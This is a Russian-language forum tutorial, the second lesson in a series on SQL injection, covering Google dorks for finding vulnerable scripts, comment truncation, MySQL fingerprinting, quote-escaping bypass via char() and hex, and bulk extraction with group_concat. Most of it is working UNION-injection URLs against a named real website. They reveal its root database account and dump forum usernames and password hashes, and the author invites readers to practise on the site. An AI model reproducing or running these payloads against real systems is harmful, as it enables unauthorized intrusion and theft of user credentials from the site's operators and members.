Урок №2. SQL-Injection. Часть 2.
Тонкости SQL-инъекций.

Долго думал, о чем сделать второй урок, и пришел к выводу, что конкретной темы у него не будет. В нем я постараюсь рассказать о разных мелочах SQL-инъекций, без которых почти невозможно провести нормальную атаку.
В данном уроке, для лучшего усвоения материала, я приведу реальные дыры на одном подопытном сайте. Заранее просьба - не озоровать на нем сильно, ничего не крушить и не бенчмаркить его, так как я рассчитываю использовать его для примеров в дальнейших уроках (там целый букет косяков).

И вот еще что. Я хочу, чтобы все, кто взялись за мои уроки, поняли одну простую истину: самое главное при проведении SQL-инъекций это знание языка SQL! Учите его обязательно, иначе толку от этих уроков не будет!

===========================================================================================
Методы поиска уязвимых сценариев.

В данном разделе я не буду говорить о разных сканерах уязвимостей. Ведь наша цель - научиться все делать руками.
Одним из главных орудий поиска уязвимых сценариев является, конечно же, Великий Гугл. Введите в него "Warning: mysql_fetch_array()" (можно поэкспериментировать с разными функциями для разбора результата) или "You have an error in your SQL syntax", и в ворохе найденных страниц вы найдете много интересного (именно таким образом я и вышел на сайт liberty.ge). Или же можно просканить только атакуемый сайт и при случае изрядно упростить себе работу. Если таких явных косяков не найдено, поищем потенциально дырявые скрипты запросом inurl:"id=". Запрос вернет нам все скрипты с параметрами id, news_id, page_id и т.д. В большинстве случаев инъекции присутствуют именно в этих параметрах.
Во все параметры, передаваемые скрипту, подставляем одинарную кавычку. Если в ответе ничего не изменилось, значит 95%, что здесь дыры нет. Остальные 5% составляют случаи, когда кавычки просто вырезаются (о разных способах защиты и их обходе мы поговорим в следующих уроках).
Обязательно проверяйте все скрипты сайта. Очень часто напоровшись на крутую фильтрацию в главных скриптах хакеры уходят с мыслью: "Здесь кодер не дурак, все отфильтровал". А на самом деле какой-нибудь маленький и неприметный скрипт имел кучу дыр, и остался нетронутым.

===========================================================================================
Усечение запроса с помощью комментариев.

Допустим, уязвимый сценарий отсылает к базе следующий запрос:
SQL> SELECT * FROM pages WHERE id=[id] AND status="unlock";
Если мы будем атаковать параметр id, то нам будет мешать дополнительное условие. А вот теперь давайте передадим id=-1+union+select+1,2,3--+. Тогда к базе уйдет следующий запрос:
SQL> SELECT * FROM pages WHERE id=[-1 union select 1,2,3-- ] AND status="unlock";
Все, что следует за -- будет считаться комментарием и не помешает нашим гнусным планам.

Виды комментариев:
Однострочные комментарии. Комментарием считается весь текст, начиная от знака -- или # и до конца строки. Для комментария -- есть одно условие: за ним всегда должен следовать пробел.
Многострочный комментарий. Комментарием считается весь текст, начиная от знака /* и до знака */ либо до конца запроса.
Многострочные комментарии удобней однострочных, т.к. без разбора убивают весь конец запроса, но, начиная с версии 5.0.51 незакрытые многострочные комментарии считаются ошибкой.

===========================================================================================
Получение информации о СУБД.

1) version() - функция возвращает версию MySQL. Для чего же нам надо знать версию СУБД? Дело в том, что разные версии отличаются разным функционалом. Приведу самые важные для нас различия:
- UNION присутствует в MySQL, начиная с версии 4;
- подзапросы (если не знаете, что это такое, обязательно прочитайте в книжке) присутствуют в MySQL, начиная с версии 4.1;
- INFORMATION_SCHEMA (о ней я уже говорил в первом уроке) присутствует в MySQL, начиная с версии 5.
Проверяем:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12--

5.0.67-0ubuntu6. Отлично.

Но бывают случаи, когда не получается проэксплуатировать UNION. И сразу встает вопрос: это старая СУБД или фильтрация? В таком случае можно узнать версию перебором. Для этого воспользуемся функцией substring(str,pos,len), которая вырезает из строки str подстроку, начиная с позиции pos, длиной len. Причем отсчет позиции начинается не с нуля, а с единицы. Это значит, что первый символ строки имеет позицию 1.

Выглядит это примерно так:
id=-1+or+substring(version(),1,1)=3
id=-1+or+substring(version(),1,1)=4
id=-1+or+substring(version(),1,1)=5

Поскольку мы задали id=-1 должна выводиться пустая страница, кроме случая, когда substring(version(),1,1)=цифра будет ИСТИНА. В таком случае в выборку попадут все страницы, а мы увидим первую. Таким образом, мы пытаемся угадать первый символ версии, ожидая на экране страницу. Точно так же будем угадывать третий и четвертый символы, если надо (второй символ угадывать не надо - это точка). В логике запроса можно использовать не только проверку на равенство, но и сравнение больше/меньше, что сократит количество необходимых запросов. Сложно, но порой необходимо.

Для решения подобных проблем так же можно воспользоваться конструкцией /*!XXXXX code*/. Она работает следующим образом: если версия СУБД старше или равна ХХХХХ, то вся конструкция заменяется на code, в противном случае она игнорируется.
Например, можно составить запрос: id=1/*!50127+'*/. И если он вернет корректную страницу, значит версия СУБД младше 5.01.27. В противном случае вернется ошибка.
Данная конструкция применяется также и для идентификации СУБД. Если запрос id=1/*!00000+'*/ вернул нам ошибку, значит, мы можем быть уверены, что перед нами MySQL (эта штука работает только в нем).

2) user() - возвращает имя учетки, по которой сценарий работает с мускулом. От прав этой учетки зависят ваши возможности через данную уязвимость (идеальный вариант - root).
Проверяем:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,user(),6,7,8,9,10,11,12--

Боже, фортуна на нашей стороне! root!!!

3) database() - возвращает имя текущей базы. Полезно знать при взломе.
Проверяем:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,database(),6,7,8,9,10,11,12--

liberty_libertygeo.

===========================================================================================
Обход экранирования кавычек.

В настройках интерпретатора (файл php.ini) есть директива magic_quotes_gpc. Если она равна ON, то во всех переменных, переданных скрипту методами GET, POST и COOKIE все NULL-байты, обратные слеши, одинарные и двойные кавычки будут предварены обратным слешем (\). Нас это естественно не устраивает, т.к. испортит весь запрос. Однако, можно воспользоваться альтернативными способами представления строки:

char(num1, num2,...) - функция принимает через запятую числовые коды символов и возвращает строку из этих символов (ее применение было рассмотрено в первом уроке).

На подопытном сайте, как раз включено экранирование кавычек, так что без кодирования не обойтись. Например, посмотрим, какие таблицы хранятся в базе liberty_libertygeo:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12+FROM+information_schema.tables+WHERE+table_schema=char(108,105,98,101,114,116,121,95,108,105,98,101,114,116,121,103,101,111)+LIMIT+0,1--

Таким образом, мы получим первую таблицу из этой базы.

В принципе, вместо нее можно использовать представление строки в шестнадцатеричном виде.

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12+FROM+information_schema.tables+WHERE+table_schema=0x6c6962657274795f6c69626572747967656f+LIMIT+0,1--

Как по мне, второй вариант короче и удобнее.

Для перекодирования в оба вида можете воспользоваться скриптом:

Код:
<?PHP
$str="";        //строка для кодирования
$char=array();
for($i=0; $i<strlen($str); $i++){
   $char[]=ord($str[$i]);
}
echo "DEC: char(".implode($char,",").")\n";   //Если результат выводится в браузер, замените \n на <BR>
echo "HEX: 0x".bin2hex($str);
?>

===========================================================================================
Ускорение извлечения данных

Раскрутка инъекции - очень увлекательное занятие, пока дело не доходит до извлечения больших объемов данных.
Допустим, мы раскопали таблицу юзеров и хотим заполучить из нее логины и пароли. Сделать это быстро и удобно нам помогут следующие функции:

concat(str1, str2,...), concat_ws(separator, str1, str2,...) - эти функции объединяют несколько строк в одну. В качестве аргументов они могут принимать как константные строки, так и имена столбцов. Разница между функциями в том, что первая просто объединяет строки, а вторая объединяет их, помещая между ними разделитель separator. Данные функции очень помогают, когда принтабельных полей мало, а столбцов надо выводить много, или же когда просто удобно выводить результаты в одну строчку.
Приведу пример. Мы прошлись по базе liberty_libertygeo и обнаружили присутствие на сайте форуме IPB (присутствуют таблицы с именем, начинающимся на ibf_). Сам форум не пашет, но таблицы его в порядке. Присутствует таблица ibf_members (значит, форум первой версии и нам нужны будут только логины и хеши). Из информационной схемы узнаем поля этой таблицы. Нас будут интересовать только name и password. Теперь составляем запрос:

Код:
   http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,name,password),6,7,8,9,10,11,12+FROM+ibf_members+LIMIT+0,1--
   http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,name,password),6,7,8,9,10,11,12+FROM+ibf_members+LIMIT+1,1--

group_concat(expr[ SEPARATOR str]) - функция, используемая обычно совместно с командой GROUP BY. Она объединяет в одну строку все значения отдельных групп столбца expr. Если GROUP BY не применяется, будут объединены все значения столбца. Можно указать разделитель str, который будет помещаться между значениями (по умолчанию ставится запятая). Пример:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members--

И все было бы прекрасно, и доставали бы мы так всю таблицу за один запрос, если бы не одно "но". Эта функция имеет ограничение по длине объединяемой строки (по умолчанию всего лишь 1024 символа). Получается, мы сможем объединить данные только из нескольких первых строк, а остальные записи придется перебирать по одной.
Использование LIMIT не поможет, так как сначала будет проведено объединение всех данных, усечение полученной строки, а только потом выбор по лимиту.

Но все-таки существует метод, позволяющий с помощью group_concat() перебирать всю таблицу большими кусками. Первым делом прикинем, сколько целых записей уложится в 1024 символа:

14 символов - имя пользователя
32 символа - хеш пароля
5 символов оставим на разделители
----------------------------------
51 символов
Итого, мы можем уложить в ряд 20 записей. А теперь составляем запросы следующего вида:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(field+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+(SELECT+concat_ws(0x3a,name,password)+as+field+FROM+ibf_members+LIMIT+0,20)+as+t--

http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(field+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+(SELECT+concat_ws(0x3a,name,password)+as+field+FROM+ibf_members+LIMIT+20,20)+as+t--

http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(field+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+(SELECT+concat_ws(0x3a,name,password)+as+field+FROM+ibf_members+LIMIT+40,20)+as+t--

Правда, записей в базе мало и на третий запрос уже не хватает.
Смысл такого запроса в следующем: подзапросом мы получаем нужную нам часть таблицы, и используем ее как полноценную таблицу, применяя к ее столбцу group_concat().

Есть еще один вариант, правда, не такой удобный. Если все записи в таблице пронумерованы (есть поле типа id) и в этой нумерации нет пробелов, то можно реализовать перебор на условиях попадания id в определенный промежуток:

Код:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members+WHERE+id>=1+AND+id<=20--

http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members+WHERE+id>=21+AND+id<=40--

http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members+WHERE+id>=41+AND+id<=60--

То есть, сначала по id выбираются нужные записи, а потом объединяются в строку.
===========================================================================================

На этом я хочу закончить свой второй урок посвященный данной теме. Впереди еще много материала, так что это не конец. Жду ваших вопросов, отзывов и пожеланий.